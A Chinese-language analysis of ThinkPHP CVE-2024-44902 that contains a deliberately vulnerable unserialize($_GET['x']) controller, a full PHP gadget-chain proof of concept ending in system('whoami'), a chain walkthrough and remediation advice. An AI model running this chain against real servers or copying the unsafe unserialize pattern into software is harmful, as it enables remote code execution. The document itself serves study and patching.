thinkphp最新CVE-2024-44902反序列化漏洞
字数 774 2025-08-24 07:48:34
ThinkPHP CVE-2024-44902 反序列化漏洞分析与利用
漏洞概述
CVE-2024-44902 是 ThinkPHP 框架中的一个反序列化漏洞,影响 ThinkPHP 8.x 版本。该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行(RCE)。
环境搭建
测试环境要求
- ThinkPHP 8.x
- PHP 8.0.2+
漏洞测试代码
在控制器中设置反序列化入口点:
namespace app\controller;
use app\BaseController;
class Index extends BaseController {
public function index() {
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
}
public function hello($name = 'ThinkPHP8') {
return 'hello,' . $name;
}
}
漏洞利用链分析
完整POC
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached {
protected $options = [];
function __construct() {
$this->options["username"] = new Pivot();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think;
abstract class Model {
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct() {
$this->data["fru1ts"] = ["whoami"];
$this->withAttr["fru1ts"] = ["system"];
$this->json = ["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister {
protected $registered = false;
protected $resource;
function __construct() {
$this->registered = false;
$this->resource = new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager {
protected $instance = [];
protected $config = [];
function __construct() {
$this->config["connections"] = ["getRule" => [
"type" => "\\think\\cache\\driver\\Memcached",
"username" => new Pivot()
]];
$this->config["default"] = "getRule";
}
}
use think\route\ResourceRegister;
$r = new ResourceRegister();
echo urlencode(serialize($r));
?>
利用链分析
-
入口点 -
ResourceRegister::__destruct()public function __destruct() { if (!$this->registered) { $this->register(); } } -
触发register方法
protected function register() { $this->registered = true; $this->resource->parseGroupRule($this->resource->getRule()); } -
调用DbManager的__call方法
public function __call($method, $args) { return call_user_func_array([$this->connect(), $method], $args); } -
触发connect方法
public function connect(string $name = null, bool $force = false) { return $this->instance($name, $force); } -
instance方法处理
if (empty($name)) { $name = $this->getConfig('default', 'mysql'); } -
createConnection方法
protected function createConnection(string $name): ConnectionInterface { $config = $this->getConnectionConfig($name); $type = !empty($config['type']) ? $config['type'] : 'mysql'; if (str_contains($type, '\\')) { $class = $type; } else { $class = '\\think\\db\\connector\\' . ucfirst($type); } $connection = new $class($config); // ... } -
Memcached类触发
if ('' != $this->options['username']) { $this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true); $this->handler->setSaslAuthData($this->options['username'], $this->options['password']); } -
触发Pivot的toString方法
这是ThinkPHP 6.x反序列化链的延续部分,最终会触发命令执行。
关键点分析
命令执行部分
-
getJsonValue方法
protected function getJsonValue($name, $value) { if (is_null($value)) { return $value; } foreach ($this->withAttr[$name] as $key => $closure) { if ($this->jsonAssoc) { $value[$key] = $closure($value[$key], $value); } else { $value->$key = $closure($value->$key, $value); } } return $value; } -
触发条件
in_array($fieldName, $this->json)必须为真is_array($this->withAttr[$fieldName])必须为真$this->jsonAssoc必须为true
-
构造参数
private $data = ["key" => ["key1" => "whoami"]]; private $withAttr = ["key" => ["key1" => "system"]]; protected $json = ["key"]; protected $jsonAssoc = true; -
最终执行
$closure($value[$key], $value); // 变为 system('whoami', $value)
漏洞修复建议
- 升级到最新版本的ThinkPHP
- 避免在代码中使用
unserialize()函数处理用户输入 - 使用PHP的
allowed_classes选项限制反序列化时的类
调试问题说明
在调试过程中可能会出现命令执行不稳定的情况,这通常是由于:
- PHP版本差异导致的反序列化行为不同
- ThinkPHP框架的缓存机制影响
- 环境配置差异(如PHP扩展、安全设置等)
建议在纯净的测试环境中进行复现,确保所有依赖项版本与漏洞描述一致。